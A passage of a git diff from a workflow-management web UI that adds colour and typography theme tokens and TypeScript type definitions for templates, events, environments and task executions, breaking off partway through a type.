Cyan-12 +export const cyan12 = "#d2eaef"; + +// Backgrounds / Cyan / Cyan-13 +export const cyan13 = "#eaf5f8"; + +// Backgrounds / Cyan / Cyan-14 (Xxlight) +export const cyan14 = "#f7fcfd"; + +// Transparents / Cyan / 00-Cyan-Light (70%) +export const cyanLight = "rgba(50,171,190,0.7)"; + +// Transparents / Cyan / 01-Cyan-Xlight (40%) +export const cyanXLight = "rgba(50,171,190,0.4)"; + +// Transparents / Cyan / 02-Cyan-Xxlight (10%) +export const cyanXXLight = "rgba(50,171,190,0.1)"; + +// Backgrounds / Grape / Grape-00 (Xxdark) +export const grape00 = "#18001f"; + +// Backgrounds / Grape / Grape-01 +export const grape01 = "#200b2a"; + +// Backgrounds / Grape / Grape-02 +export const grape02 = "#33143f"; + +// Backgrounds / Grape / Grape-03 (Xdark) +export const grape03 = "#481d56"; + +// Backgrounds / Grape / Grape-04 +export const grape04 = "#602871"; + +// Backgrounds / Grape / Grape-05 (Dark) +export const grape05 = "#7a338d"; + +// Backgrounds / Grape / Grape-06 +export const grape06 = "#943eab"; + +// Backgrounds / Grape / -Grape-07 (Base) +export const grape07 = "#b04ac9"; + +// Backgrounds / Grape / Grape-08 +export const grape08 = "#be68d2"; + +// Backgrounds / Grape / Grape-09 (Light) +export const grape09 = "#cb84da"; + +// Backgrounds / Grape / Grape-10 +export const grape10 = "#d89fe3"; + +// Backgrounds / Grape / Grape-11 (Xlight) +export const grape11 = "#e4baeb"; + +// Backgrounds / Grape / Grape-12 +export const grape12 = "#edd2f2"; + +// Backgrounds / Grape / Grape-13 +export const grape13 = "#f7e9f9"; + +// Backgrounds / Grape / Grape-14 (Xxlight) +export const grape14 = "#fcf7fd"; + +// Transparents / Grape / 00-Grape-Light (70%) +export const grapeLight = "rgba(176,74,201,0.7)"; + +// Transparents / Grape / 01-Grape-Xlight (40%) +export const grapeXLight = "rgba(176,74,201,0.4)"; + +// Transparents / Grape / 02-Grape-Xxlight (10%) +export const grapeXXLight = "rgba(176,74,201,0.1)"; + +// Backgrounds / Gray / Gray-00 (Xxdark) +export const gray00 = "#0f0f0f"; + +// Backgrounds / Gray / Gray-01 +export const gray01 = "#181818"; + +// Backgrounds / Gray / Gray-02 +export const gray02 = "#242424"; + +// Backgrounds / Gray / Gray-03 (Xdark) +export const gray03 = "#323232"; + +// Backgrounds / Gray / Gray-04 +export const gray04 = "#424242"; + +// Backgrounds / Gray / Gray-05 (Dark) +export const gray05 = "#535353"; + +// Backgrounds / Gray / Gray-06 +export const gray06 = "#646464"; + +// Backgrounds / Gray / -Gray-07 (Base) +export const gray07 = "#767676"; + +// Backgrounds / Gray / Gray-08 +export const gray08 = "#8a8a8a"; + +// Backgrounds / Gray / Gray-09 (Light) +export const gray09 = "#9e9e9e"; + +// Backgrounds / Gray / Gray-10 +export const gray10 = "#b3b3b3"; + +// Backgrounds / Gray / Gray-11 (Xlight) +export const gray11 = "#c8c8c8"; + +// Backgrounds / Gray / Gray-12 +export const gray12 = "#dbdbdb"; + +// Backgrounds / Gray / Gray-13 +export const gray13 = "#efefef"; + +// Backgrounds / Gray / Gray-14 (Xxlight) +export const gray14 = "#f3f3f3"; + +// Table background dark color +export const grayTableBackground = "#111111"; + +// Transparents / Gray / 00-Gray-Light (70%) +export const grayLight = "rgba(118,118,118,0.7)"; + +export const backgroundLeftTop = "ghostwhite"; + +// Transparents / Gray / 01-Gray-Xlight (40%) +export const grayXLight = "rgba(118,118,118,0.4)"; + +// Transparents / Gray / 02-Gray-Xxlight (10%) +export const grayXXLight = "rgba(118,118,118,0.1)"; + +// medium light shade of gray +export const lightShadesGray = "#aaa"; + +// Backgrounds / Green / Green-00 (Xxdark) +export const green00 = "#121e00"; + +// Backgrounds / Green / Green-01 +export const green01 = "#192a07"; + +// Backgrounds / Green / Green-02 +export const green02 = "#28400f"; + +// Backgrounds / Green / Green-03 (Xdark) +export const green03 = "#385714"; + +// Backgrounds / Green / Green-04 +export const green04 = "#4c731a"; + +// Backgrounds / Green / Green-05 (Dark) +export const green05 = "#61911f"; + +// Backgrounds / Green / Green-06 +export const green06 = "#76af25"; + +// Backgrounds / Green / -Green-07 (Base) +export const green07 = "#8ccf2a"; + +// Backgrounds / Green / Green-08 +export const green08 = "#a1d753"; + +// Backgrounds / Green / Green-09 (Light) +export const green09 = "#b4de74"; + +// Backgrounds / Green / Green-10 +export const green10 = "#c6e593"; + +// Backgrounds / Green / Green-11 (Xlight) +export const green11 = "#d7edb2"; + +// Backgrounds / Green / Green-12 +export const green12 = "#e5f3cd"; + +// Backgrounds / Green / Green-13 +export const green13 = "#f3f9e8"; + +// Backgrounds / Green / Green-14 (Xxlight) +export const green14 = "#fbfdf7"; + +// Transparents / Green / 00-Green-Light (70%) +export const greenLight = "rgba(140,207,42,0.7)"; + +// Transparents / Green / 01-Green-Xlight (40%) +export const greenXLight = "rgba(140,207,42,0.4)"; + +// Transparents / Green / 02-Green-Xxlight (10%) +export const greenXXLight = "rgba(140,207,42,0.1)"; + +// Backgrounds / Indigo / Indigo-00 (Xxdark) +export const indigo00 = "#00071f"; + +// Backgrounds / Indigo / Indigo-01 +export const indigo01 = "#07122c"; + +// Backgrounds / Indigo / Indigo-02 +export const indigo02 = "#0f1e44"; + +// Backgrounds / Indigo / Indigo-03 (Xdark) +export const indigo03 = "#192b5e"; + +// Backgrounds / Indigo / Indigo-04 +export const indigo04 = "#24397e"; + +// Backgrounds / Indigo / Indigo-05 (Dark) +export const indigo05 = "#30499f"; + +// Backgrounds / Indigo / Indigo-06 +export const indigo06 = "#3c59c1"; + +// Backgrounds / Indigo / -Indigo-07 (Base) +export const indigo07 = "#4969e4"; + +// Backgrounds / Indigo / Indigo-08 +export const indigo08 = "#6f7ee9"; + +// Backgrounds / Indigo / Indigo-09 (Light) +export const indigo09 = "#8e94ed"; + +// Backgrounds / Indigo / Indigo-10 +export const indigo10 = "#a9abf1"; + +// Backgrounds / Indigo / Indigo-11 (Xlight) +export const indigo11 = "#c2c2f5"; + +// Backgrounds / Indigo / Indigo-12 +export const indigo12 = "#d7d7f8"; + +// Backgrounds / Indigo / Indigo-13 +export const indigo13 = "#ebedfb"; + +// Backgrounds / Indigo / Indigo-14 (Xxlight) +export const indigo14 = "#f7f9fd"; + +// Transparents / Indigo / 00-Indigo-Light (70%) +export const indigoLight = "rgba(73,105,228,0.7)"; + +// Transparents / Indigo / 01-Indigo-Xlight (40%) +export const indigoXLight = "rgba(73,105,228,0.4)"; + +// Transparents / Indigo / 02-Indigo-Xxlight (10%) +export const indigoXXLight = "rgba(73,105,228,0.1)"; + +// Backgrounds / Lime / Lime-00 (Xxdark) +export const lime00 = "#001f06"; + +// Backgrounds / Lime / Lime-01 +export const lime01 = "#05290f"; + +// Backgrounds / Lime / Lime-02 +export const lime02 = "#0c3c19"; + +// Backgrounds / Lime / Lime-03 (Xdark) +export const lime03 = "#145124"; + +// Backgrounds / Lime / Lime-04 +export const lime04 = "#1f6930"; + +// Backgrounds / Lime / Lime-05 (Dark) +export const lime05 = "#2a833c"; + +// Backgrounds / Lime / Lime-06 +export const lime06 = "#359e4a"; + +// Backgrounds / Lime / -Lime-07 (Base) +export const lime07 = "#41b957"; + +// Backgrounds / Lime / Lime-08 +export const lime08 = "#65c470"; + +// Backgrounds / Lime / Lime-09 (Light) +export const lime09 = "#84d08a"; + +// Backgrounds / Lime / Lime-10 +export const lime10 = "#a0dba3"; + +// Backgrounds / Lime / Lime-11 (Xlight) +export const lime11 = "#bbe5bd"; + +// Backgrounds / Lime / Lime-12 +export const lime12 = "#d2efd4"; + +// Backgrounds / Lime / Lime-13 +export const lime13 = "#e9f8eb"; + +// Backgrounds / Lime / Lime-14 (Xxlight) +export const lime14 = "#f6fdf8"; + +// Transparents / Lime / 00-Lime-Light (70%) +export const limeLight = "rgba(65,185,87,0.7)"; + +// Transparents / Lime / 01-Lime-Xlight (40%) +export const limeXLight = "rgba(65,185,87,0.4)"; + +// Transparents / Lime / 02-Lime-Xxlight (10%) +export const limeXXLight = "rgba(65,185,87,0.1)"; + +// Backgrounds / Orange / Orange-00 (Xxdark) +export const orange00 = "#1e0c00"; + +// Backgrounds / Orange / Orange-01 +export const orange01 = "#2b1505"; + +// Backgrounds / Orange / Orange-02 +export const orange02 = "#46210d"; + +// Backgrounds / Orange / Orange-03 (Xdark) +export const orange03 = "#622e10"; + +// Backgrounds / Orange / Orange-04 +export const orange04 = "#853d12"; + +// Backgrounds / Orange / Orange-05 (Dark) +export const orange05 = "#a94d14"; + +// Backgrounds / Orange / Orange-06 +export const orange06 = "#cf5d14"; + +// Backgrounds / Orange / -Orange-07 (Base) +export const orange07 = "#f66e13"; + +// Backgrounds / Orange / Orange-08 +export const orange08 = "#fd853f"; + +// Backgrounds / Orange / Orange-09 (Light) +export const orange09 = "#ff9c62"; + +// Backgrounds / Orange / Orange-10 +export const orange10 = "#ffb284"; + +// Backgrounds / Orange / Orange-11 (Xlight) +export const orange11 = "#ffc8a7"; + +// Backgrounds / Orange / Orange-12 +export const orange12 = "#ffdbc5"; + +// Backgrounds / Orange / Orange-13 +export const orange13 = "#ffeee5"; + +// Backgrounds / Orange / Orange-14 (Xxlight) +export const orange14 = "#fdf9f7"; + +// Transparents / Orange / 00-Orange-Light (70%) +export const orangeLight = "rgba(246,110,19,0.7)"; + +// Transparents / Orange / 01-Orange-Xlight (40%) +export const orangeXLight = "rgba(246,110,19,0.4)"; + +// Transparents / Orange / 02-Orange-Xxlight (10%) +export const orangeXXLight = "rgba(246,110,19,0.1)"; + +// Backgrounds / Pear / Pear-00 (Xxdark) +export const pear00 = "#1e1d00"; + +// Backgrounds / Pear / Pear-01 +export const pear01 = "#2a2a07"; + +// Backgrounds / Pear / Pear-02 +export const pear02 = "#42410e"; + +// Backgrounds / Pear / Pear-03 (Xdark) +export const pear03 = "#5d5a12"; + +// Backgrounds / Pear / Pear-04 +export const pear04 = "#7c7815"; + +// Backgrounds / Pear / Pear-05 (Dark) +export const pear05 = "#9d9718"; + +// Backgrounds / Pear / Pear-06 +export const pear06 = "#bfb71b"; + +// Backgrounds / Pear / -Pear-07 (Base) +export const pear07 = "#e3d91c"; + +// Backgrounds / Pear / Pear-08 +export const pear08 = "#eade4f"; + +// Backgrounds / Pear / Pear-09 (Light) +export const pear09 = "#f0e472"; + +// Backgrounds / Pear / Pear-10 +export const pear10 = "#f6e993"; + +// Backgrounds / Pear / Pear-11 (Xlight) +export const pear11 = "#f9efb2"; + +// Backgrounds / Pear / Pear-12 +export const pear12 = "#fcf4cd"; + +// Backgrounds / Pear / Pear-13 +export const pear13 = "#fdf9e8"; + +// Backgrounds / Pear / Pear-14 (Xxlight) +export const pear14 = "#fdfcf7"; + +// Transparents / Pear / 00-Pear-Light (70%) +export const pearLight = "rgba(227,217,28,0.7)"; + +// Transparents / Pear / 01-Pear-Xlight (40%) +export const pearXLight = "rgba(227,217,28,0.4)"; + +// Transparents / Pear / 02-Pear-Xxlight (10%) +export const pearXXLight = "rgba(227,217,28,0.1)"; + +// Backgrounds / Pink / Pink-00 (Xxdark) +export const pink00 = "#1e000a"; + +// Backgrounds / Pink / Pink-01 +export const pink01 = "#280a14"; + +// Backgrounds / Pink / Pink-02 +export const pink02 = "#3f1221"; + +// Backgrounds / Pink / Pink-03 (Xdark) +export const pink03 = "#58192f"; + +// Backgrounds / Pink / Pink-04 +export const pink04 = "#75223f"; + +// Backgrounds / Pink / Pink-05 (Dark) +export const pink05 = "#942b50"; + +// Backgrounds / Pink / Pink-06 +export const pink06 = "#b53461"; + +// Backgrounds / Pink / -Pink-07 (Base) +export const pink07 = "#d63d73"; + +// Backgrounds / Pink / Pink-08 +export const pink08 = "#e06187"; + +// Backgrounds / Pink / Pink-09 (Light) +export const pink09 = "#e87f9c"; + +// Backgrounds / Pink / Pink-10 +export const pink10 = "#f09cb1"; + +// Backgrounds / Pink / Pink-11 (Xlight) +export const pink11 = "#f5b8c6"; + +// Backgrounds / Pink / Pink-12 +export const pink12 = "#f9d1da"; + +// Backgrounds / Pink / Pink-13 +export const pink13 = "#fce9ee"; + +// Backgrounds / Pink / Pink-14 (Xxlight) +export const pink14 = "#fdf7f9"; + +// Transparents / Pink / 00-Pink-Light (70%) +export const pinkLight = "rgba(214,61,115,0.7)"; + +// Transparents / Pink / 01-Pink-Xlight (40%) +export const pinkXLight = "rgba(214,61,115,0.4)"; + +// Transparents / Pink / 02-Pink-Xxlight (10%) +export const pinkXXLight = "rgba(214,61,115,0.1)"; + +// Backgrounds / Red / Red-00 (Xxdark) +export const red00 = "#1e0002"; + +// Backgrounds / Red / Red-01 +export const red01 = "#2a0805"; + +// Backgrounds / Red / Red-02 +export const red02 = "#420e0b"; + +// Backgrounds / Red / Red-03 (Xdark) +export const red03 = "#5d110f"; + +// Backgrounds / Red / Red-04 +export const red04 = "#7d1311"; + +// Backgrounds / Red / Red-05 (Dark) +export const red05 = "#9e1313"; + +// Backgrounds / Red / Red-06 +export const red06 = "#c11014"; + +// Backgrounds / Red / -Red-07 (Base) +export const red07 = "#e50914"; + +// Backgrounds / Red / Red-08 +export const red08 = "#f04c38"; + +// Backgrounds / Red / Red-09 (Light) +export const red09 = "#f9715a"; + +// Backgrounds / Red / Red-10 +export const red10 = "#ff927d"; + +// Backgrounds / Red / Red-11 (Xlight) +export const red11 = "#ffb2a2"; + +// Backgrounds / Red / Red-12 +export const red12 = "#ffcdc3"; + +// Backgrounds / Red / Red-13 +export const red13 = "#ffe8e4"; + +// Backgrounds / Red / Red-14 (Xxlight) +export const red14 = "#fdf7f8"; + +// Transparents / Red / 00-Red-Light (70%) +export const redLight = "rgba(229,9,20,0.7)"; + +// Transparents / Red / 01-Red-Xlight (40%) +export const redXLight = "rgba(229,9,20,0.4)"; + +// Transparents / Red / 02-Red-Xxlight (10%) +export const redXXLight = "rgba(229,9,20,0.1)"; + +// Backgrounds / Violet / Violet-00 (Xxdark) +export const violet00 = "#08001e"; + +// Backgrounds / Violet / Violet-01 +export const violet01 = "#110b2b"; + +// Backgrounds / Violet / Violet-02 +export const violet02 = "#1d1643"; + +// Backgrounds / Violet / Violet-03 (Xdark) +export const violet03 = "#2a1f5d"; + +// Backgrounds / Violet / Violet-04 +export const violet04 = "#3b297c"; + +// Backgrounds / Violet / Violet-05 (Dark) +export const violet05 = "#4c349d"; + +// Backgrounds / Violet / Violet-06 +export const violet06 = "#5e3fbf"; + +// Backgrounds / Violet / -Violet-07 (Base) +export const violet07 = "#714be2"; + +// Backgrounds / Violet / Violet-08 +export const violet08 = "#8c66e7"; + +// Backgrounds / Violet / Violet-09 (Light) +export const violet09 = "#a481ec"; + +// Backgrounds / Violet / Violet-10 +export const violet10 = "#ba9cf1"; + +// Backgrounds / Violet / Violet-11 (Xlight) +export const violet11 = "#ceb8f5"; + +// Backgrounds / Violet / Violet-12 +export const violet12 = "#dfd0f8"; + +// Backgrounds / Violet / Violet-13 +export const violet13 = "#f0e9fb"; + +// Backgrounds / Violet / Violet-14 (Xxlight) +export const violet14 = "#f9f7fd"; + +// Transparents / Violet / 00-Violet-Light (70%) +export const violetLight = "rgba(113,75,226,0.7)"; + +// Transparents / Violet / 01-Violet-Xlight (40%) +export const violetXLight = "rgba(113,75,226,0.4)"; + +// Transparents / Violet / 02-Violet-Xxlight (10%) +export const violetXXLight = "rgba(113,75,226,0.1)"; + +// Backgrounds / White +export const white = "#FFFFFF"; + +// Transparents / White / 00-White-Light (70%) +export const whiteLight = "rgba(255,255,255,0.7)"; + +// Transparents / White / 01-White-Xlight (40%) +export const whiteXLight = "rgba(255,255,255,0.4)"; + +// Transparents / White / 02-White-Xxlight (10%) +export const whiteXXLight = "rgba(255,255,255,0.1)"; + +// Backgrounds / Yellow / Yellow-00 (Xxdark) +export const yellow00 = "#1e1400"; + +// Backgrounds / Yellow / Yellow-01 +export const yellow01 = "#2c1e06"; + +// Backgrounds / Yellow / Yellow-02 +export const yellow02 = "#47300d"; + +// Backgrounds / Yellow / Yellow-03 (Xdark) +export const yellow03 = "#64430f"; + +// Backgrounds / Yellow / Yellow-04 +export const yellow04 = "#875a11"; + +// Backgrounds / Yellow / Yellow-05 (Dark) +export const yellow05 = "#ac7210"; + +// Backgrounds / Yellow / Yellow-06 +export const yellow06 = "#d38a0c"; + +// Backgrounds / Yellow / -Yellow-07 (Base) +export const yellow07 = "#fba404"; + +// Backgrounds / Yellow / Yellow-08 +export const yellow08 = "#ffb141"; + +// Backgrounds / Yellow / Yellow-09 (Light) +export const yellow09 = "#ffbf66"; + +// Backgrounds / Yellow / Yellow-10 +export const yellow10 = "#ffcd89"; + +// Backgrounds / Yellow / Yellow-11 (Xlight) +export const yellow11 = "#ffdbaa"; + +// Backgrounds / Yellow / Yellow-12 +export const yellow12 = "#ffe7c8"; + +// Backgrounds / Yellow / Yellow-13 +export const yellow13 = "#fff4e6"; + +// Backgrounds / Yellow / Yellow-14 (Xxlight) +export const yellow14 = "#fdfbf7"; + +// Transparents / Yellow / 00-Yellow-Light (70%) +export const yellowLight = "rgba(251,164,4,0.7)"; + +// Transparents / Yellow / 01-Yellow-Xlight (40%) +export const yellowXLight = "rgba(251,164,4,0.4)"; + +// Transparents / Yellow / 02-Yellow-Xxlight (10%) +export const yellowXXLight = "rgba(251,164,4,0.1)"; + +// Primary Green color +export const primaryGreen = "#40BA56"; + +// TagChip Colors + +//success +export const successTag = "#9FDCAA"; + +//progress +export const progressTag = "#8DE0F9"; + +//error +export const errorTag = "#FBB4C6"; + +//warning +export const warningTag = "#FCD181"; + +//warning +export const otherTag = "#C8ABFF"; + +// Wait task type button +export const blackish = "#1f1f1f"; +export const gray15 = "#a5a5a5"; + +// User roles tag colors + +//admin +export const roleAdmin = "#9FDCAA"; + +//readonly +export const roleReadOnly = "#DDDDDD"; + +//user +export const roleUser = "#C8ABFF"; + +//workflow-manager +export const roleWfManager = "#8DE0F9"; + +//workflow-manager +export const roleMetaManager = "#FCD181"; + +// New Sidebar colors +export const sidebarBlacky = "#060606"; +export const sidebarGreyText = "#858585"; +export const sidebarGreyDark = "#161616"; +export const sidebarFaintGrey = "#DDDDDD"; +export const sidebarGrey = "#494949"; +export const sidebarBarelyPastWhite = "#F3F3F3"; +export const sidebarVersion = "#9C9C9C"; +export const sidebarUIVersion = "#494949"; + +// purple color in new theme + +export const purple = "#9157FF"; +export const lightPurple = "#c8abff"; + +export const greyBorder = "#DDDDDD"; +export const greyText = "#858585"; +export const greyText2 = "#AFAFAF"; + +// colors for SearchEverything and UIModal +export const sePurple = purple; +export const seGrey = gray14; +export const seGrey2 = "#AFAFAF"; +// default modal backdropColor +export const defaultModalBackdropColor = "#AFAFAF"; + +// colors for tabs v1 +export const tabsColor = "#494949"; +export const tabActiveColor = "#060606"; +export const tabBackground = "#DDDDDD"; +export const tabsContainerBg = "#F3F3F3"; + +export const modalBackdropColor = "#090a11cc"; +export const colorfullGradient = + "linear-gradient(0.40turn,rgba(28, 177, 255,0.4), rgba(25, 118, 210,0.4), rgba(145, 87, 255,0.4), rgba(255, 106, 128,0.4));"; +export const blueLight = "#0D94DB"; +export const blueLightMode = "#1976D2"; +export const darkBlueLightMode = "#1976D2"; +export const lightBlueHoverBg = "#CAE0F5"; +export const blueBackground = "#1CB1FF"; +export const greyBg = "#252525"; +export const primaryHoverBoxShadow = "#04386C"; +export const secondaryHoverBoxShadow = "#095096"; +export const tertiaryHoverBoxShadow = "#4D4D4D"; +export const orkesBrandN200 = "#D7DCDD"; +export const orkesBrandS600 = "#189ED3"; +export const secondaryBlack = "#060606"; + +export const errorRed = "#D6423B"; + +// disabled input +export const lightGrey = "#ECECEC"; +export const greenBackground = "#2e7d32"; + +export const lightGreyBackground = "#EFF0F0"; +// cyan +export const cyan = "#00FFFF"; + +export const trialExpiredBannerBg = "#FCF0EE"; +export const trailExpiredTextColor = "#D84A44"; diff --git a/ui-next/src/theme/tokens/globalConstants.js b/ui-next/src/theme/tokens/globalConstants.js new file mode 100644 index 0000000..58ec5aa --- /dev/null +++ b/ui-next/src/theme/tokens/globalConstants.js @@ -0,0 +1 @@ +export const INNER_HEADER_LEVEL = 2; diff --git a/ui-next/src/theme/tokens/orkes-theme.js b/ui-next/src/theme/tokens/orkes-theme.js new file mode 100644 index 0000000..41669bb --- /dev/null +++ b/ui-next/src/theme/tokens/orkes-theme.js @@ -0,0 +1,32 @@ +import Color from "color"; + +const orkesThemeBase = { + background: "#AAAAAA", + primary: "#1976d2", +}; + +const generateColorShades = (name, color) => { + return { + [`${name}Darkest`]: Color(color).darken(0.6).hex(), + [`${name}Darker`]: Color(color).darken(0.4).hex(), + [`${name}Dark`]: Color(color).darken(0.2).hex(), + [`${name}Light`]: Color(color).lighten(0.2).hex(), + [`${name}Lighter`]: Color(color).lighten(0.4).hex(), + [`${name}Lightest`]: Color(color).lighten(0.6).hex(), + }; +}; + +const orkesThemeWithShades = Object.entries(orkesThemeBase).reduce( + (acc, [name, color]) => { + return { + ...acc, + ...generateColorShades(name, color), + }; + }, + {}, +); + +export const orkesTheme = { + ...orkesThemeBase, + ...orkesThemeWithShades, +}; diff --git a/ui-next/src/theme/tokens/variables.ts b/ui-next/src/theme/tokens/variables.ts new file mode 100644 index 0000000..2366276 --- /dev/null +++ b/ui-next/src/theme/tokens/variables.ts @@ -0,0 +1,73 @@ +import { colorOverrides } from "./colorOverrides"; + +// We dont seem to be using this.. + +//import { orkesTheme } from "./orkes-theme"; + +export const colors = { + ...colorOverrides, + background: "#AAAAAA", + primary: "#1976d2", +}; + +export const fontSizes = { + fontSize0: "10px", + fontSize1: "12px", + fontSize2: "13px", + fontSize3: "14px", + fontSize4: "16px", + fontSize5: "18px", + fontSize6: "20px", + fontSize7: "24px", + fontSize8: "28px", + fontSize9: "32px", + fontSize10: "40px", + fontSize11: "52px", + fontSize12: "68px", + fontSize13: "88px", +}; +export const lineHeights = { + lineHeight0: 1.25, + lineHeight1: 1.5, +}; + +export const fontWeights = { + fontWeight0: 300, + fontWeight1: 400, + fontWeight2: 500, + fontWeight3: 600, +}; + +export const fontFamily = { + fontFamilySans: + '"Lexend", -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"', + fontFamilyMono: "monospace", +}; + +export const spacings = { + space0: "4px", + space1: "8px", + space2: "12px", + space3: "16px", + space4: "20px", + space5: "24px", + space6: "32px", + space7: "48px", + space8: "80px", + space9: "144px", +}; + +export const breakpoints = { + xsmall: "599px", + small: "1023px", + medium: "1439px", + large: "1919px", + xlarge: "3840px", +}; + +export const borders = { + radiusSmall: "4px", + blueRegular2px: "2px solid rgba(31,131,219,1)", + blackRegular1px: "1px solid rgba(5,5,5,1)", + blackLight1px: "1px solid rgba(5,5,5,0.7)", +}; diff --git a/ui-next/src/types/Application.ts b/ui-next/src/types/Application.ts new file mode 100644 index 0000000..cdfe4d4 --- /dev/null +++ b/ui-next/src/types/Application.ts @@ -0,0 +1,10 @@ +import { Tag } from "./common"; +export interface Application { + id: string; + name: string; + createdBy: string; + updatedBy: string; + createTime: number; + updateTime: number; + tags: Tag[]; +} diff --git a/ui-next/src/types/CloudTemplateResults.ts b/ui-next/src/types/CloudTemplateResults.ts new file mode 100644 index 0000000..ef31ac9 --- /dev/null +++ b/ui-next/src/types/CloudTemplateResults.ts @@ -0,0 +1,54 @@ +import { CommonTaskDef, WorkflowDef } from "types"; +import { HumanTemplate } from "types/HumanTaskTypes"; +import { IntegrationI, ModelDto } from "types/Integrations"; +import { PromptDef } from "types/Prompts"; +import { SchemaDefinition } from "types/SchemaDefinition"; + +export type WorkflowResult = { + success: boolean; + message?: string; + workflow: WorkflowDef; +}; + +export type TaskResult = { + success: boolean; + message?: string; + task: CommonTaskDef; +}; + +export type SchemaResult = { + success: boolean; + message?: string; + schema: SchemaDefinition; +}; + +export type IntegrationResult = { + success: boolean; + message?: string; + integration: IntegrationI; +}; + +export type ModelResult = { + success: boolean; + message?: string; + model: ModelDto; +}; + +export type PromptResult = { + success: boolean; + message?: string; + prompt: PromptDef; +}; + +export type IntegrationAndModelResult = { + success: boolean; + message?: string; + integration: IntegrationI; + modelResults: ModelResult[]; +}; + +export type HumanTemplateResult = { + success: boolean; + message?: string; + userForm: HumanTemplate; +}; diff --git a/ui-next/src/types/CloudTemplateType.ts b/ui-next/src/types/CloudTemplateType.ts new file mode 100644 index 0000000..72db792 --- /dev/null +++ b/ui-next/src/types/CloudTemplateType.ts @@ -0,0 +1,81 @@ +import { IntegrationI, ModelDto } from "./Integrations"; +import { PromptDef } from "./Prompts"; + +// The original type is IntegrationDef, is broken, it is used for configuring an integration and as integration pulled from the server which is not the same + +export type IntegrationAndModel = { + integration: IntegrationI; + models: ModelDto[]; +}; + +export type CloudTemplateTypeV1 = { + id: string; + title: string; + description: string; + featureLabelAndLinks: { + [key: string]: string; + }; + githubProjectLinks: { + [key: string]: string; + }; + workflowDefinitionGithubLink: string; + workflowTemplateDefLink?: string; + taskDefinitionsGithubLink?: string; + taskTemplateDefsLink?: string; + userFormsGithubLink?: string; + userFormTemplateDefLink?: string; + schemasGithubLink?: string; + schemaDefTemplateLink?: string; + helpDocumentationLink?: string; + integrationAndModelsGithubLink?: string; + promptsGithubLink?: string; + thumbnailUrl?: string; + category: string; + tags?: string[]; + version: 1; + createdAt: string; + createdBy: string; + updatedAt: string; + updatedBy: string; +}; + +export type PlaceholderDef = { + key: string; + value: string; +}; + +export type CloudTemplateTypeV2 = { + id: string; + title: string; + description: string; + featureLabelAndLinks: { + [key: string]: string; + }; + githubProjectLinks: { + [key: string]: string; + }; + + taskDefinitions: Record[]; + workflowDefinitions: Record[]; + helpDocumentationLink?: string; + userForms: Record[]; + schemas: Record[]; + integrationsWithModels: IntegrationAndModel[]; + secrets: Record[]; + environmentVariables: Record[]; + schedules: Record[]; + webhooks: Record[]; + remoteServices: Record[]; + prompts: PromptDef[]; + placeholders: PlaceholderDef[]; + thumbnailUrl?: string; + category: string; + tags?: string[]; + version: 2; + createdAt: string; + createdBy: string; + updatedAt: string; + updatedBy: string; +}; + +export type CloudTemplateType = CloudTemplateTypeV1 | CloudTemplateTypeV2; diff --git a/ui-next/src/types/Crumbs.ts b/ui-next/src/types/Crumbs.ts new file mode 100644 index 0000000..9507e5e --- /dev/null +++ b/ui-next/src/types/Crumbs.ts @@ -0,0 +1,12 @@ +import { TaskDef, TaskType } from "./common"; + +export type Crumb = { + refIdx: number; + forkIndex?: number; + ref: string; + parent?: string | null; + decisionBranch?: string; + type: TaskType; +}; + +export type CrumbMap = Record; //Using record for now since xstate inspector wont show Map. diff --git a/ui-next/src/types/EnvVariables.ts b/ui-next/src/types/EnvVariables.ts new file mode 100644 index 0000000..b24190f --- /dev/null +++ b/ui-next/src/types/EnvVariables.ts @@ -0,0 +1,7 @@ +import { TagDto } from "./Tag"; + +export interface EnvironmentVariables { + name: string; + value: string; + tags: TagDto[]; +} diff --git a/ui-next/src/types/Environment.ts b/ui-next/src/types/Environment.ts new file mode 100644 index 0000000..eb3b28d --- /dev/null +++ b/ui-next/src/types/Environment.ts @@ -0,0 +1,5 @@ +export interface EnvironmentDTO { + id: string; + tokenSecret: string | null; + uri: string; +} diff --git a/ui-next/src/types/Events.ts b/ui-next/src/types/Events.ts new file mode 100644 index 0000000..a176666 --- /dev/null +++ b/ui-next/src/types/Events.ts @@ -0,0 +1,76 @@ +import { TagDto } from "./Tag"; + +export type CompleteActionType = { + action: "complete_task"; + expandInlineJSON: boolean; + complete_task: { + workflowId?: string; + taskRefName?: string; + taskId?: string; + output?: Record; + }; +}; + +export type FailActionType = { + action: "fail_task"; + expandInlineJSON: boolean; + fail_task: { + workflowId?: string; + taskRefName?: string; + taskId?: string; + output?: Record; + }; +}; + +export type UpdateWorkFlowVariableType = { + action: "update_workflow_variables"; + expandInlineJSON: boolean; + update_workflow_variables: { + workflowId: string; + appendArray?: boolean; + variables?: Record; + }; +}; + +export type StartWorkflowAction = { + action: "start_workflow"; + start_workflow: { + name: string; + version: string; + correlationId: string; + idempotencyKey?: string; + idempotencyStrategy?: string; + input?: Record; + taskToDomain?: { + [key: string]: string; + }; + }; + expandInlineJSON: boolean; +}; + +export type TerminateWorkflowAction = { + action: "terminate_workflow"; + expandInlineJSON: boolean; + terminate_workflow: { + workflowId: string; + terminationReason: string; + }; +}; + +export type ConductorEvent = { + name: string; + description?: string; + event: string; + evaluatorType: string; + condition: string; + actions: Array< + | CompleteActionType + | FailActionType + | UpdateWorkFlowVariableType + | StartWorkflowAction + | TerminateWorkflowAction + >; + active: boolean; + ownerEmail: string; + tags?: TagDto[]; +}; diff --git a/ui-next/src/types/Execution.ts b/ui-next/src/types/Execution.ts new file mode 100644 index 0000000..673624b --- /dev/null +++ b/ui-next/src/types/Execution.ts @@ -0,0 +1,139 @@ +import { TaskStatus } from "./TaskStatus"; +import { TaskType, TaskDef } from "./common"; +import { WorkflowDef } from "./WorkflowDef"; + +export type ExecutedData = { + status: TaskStatus; + executed: boolean; + attempts: number; + collapsed?: boolean; + collapsedTasks?: TaskDef[]; + parentTaskReferenceName?: string; + collapsedTasksStatus?: string[]; + outputData?: Record; + parentLoop?: TaskDef; +}; + +type ForkedExecutionTaskInputData = { + forkedTasks: string[]; + forkedTaskDefs: TaskDef[]; + docLink?: string; +}; + +export interface ExecutionTask< + T = ForkedExecutionTaskInputData, +> extends TaskDef { + taskId?: string; + referenceTaskName: string; + taskType: TaskType | string; + workflowTask: { + name: string; + taskReferenceName: string; + type: string; + description?: string; + }; + inputData?: T & { + subWorkflowName?: string; + integrationName?: string; + [key: string]: unknown; + }; + outputData?: { + subWorkflowId?: string; + caseOutput?: string[]; + [key: 